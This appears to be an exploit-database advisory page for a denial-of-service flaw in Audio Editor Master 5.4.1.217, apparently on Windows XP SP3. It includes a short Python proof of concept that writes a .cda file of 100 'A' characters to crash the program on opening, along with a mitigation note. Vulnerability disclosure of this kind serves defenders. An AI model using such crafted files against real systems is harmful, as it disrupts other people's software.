header-logo
Suggest Exploit
vendor:
Audio Editor Master
by:
Onying
7,5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Audio Editor Master
Affected Version From: 5.4.1.217
Affected Version To: 5.4.1.217
Patch Exists: Yes
Related CWE: N/A
CPE: audioeditor.com
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
2020

Audio Editor Master 5.4.1.217 Denial Of Service Vulnerability

Audio Editor Master 5.4.1.217 is vulnerable to a denial of service attack when a specially crafted .cda file is opened. The file contains a large number of 'A' characters which causes the application to crash when opened.

Mitigation:

Ensure that the application is updated to the latest version and that all input is validated.
Source

Exploit-DB raw data:

#!/usr/bin/python
#
# Exploit Title: Audio Editor Master 5.4.1.217 Denial Of Service Vulnerability
# software: Audio Editor Master
# version : 5.4.1.217
# Tested on: Windows XP SP3
# link: http://www.audioeditor.com
# Author: Onying (@onyiing)
# Blog: otakku-udang.blogspot.com
# from : Information Security Shinobi Camp (http://is2c-dojo.com)

junk ="\x41"*100
textfile = open("onyiing.cda" , 'w')
textfile.write(junk)
textfile.close()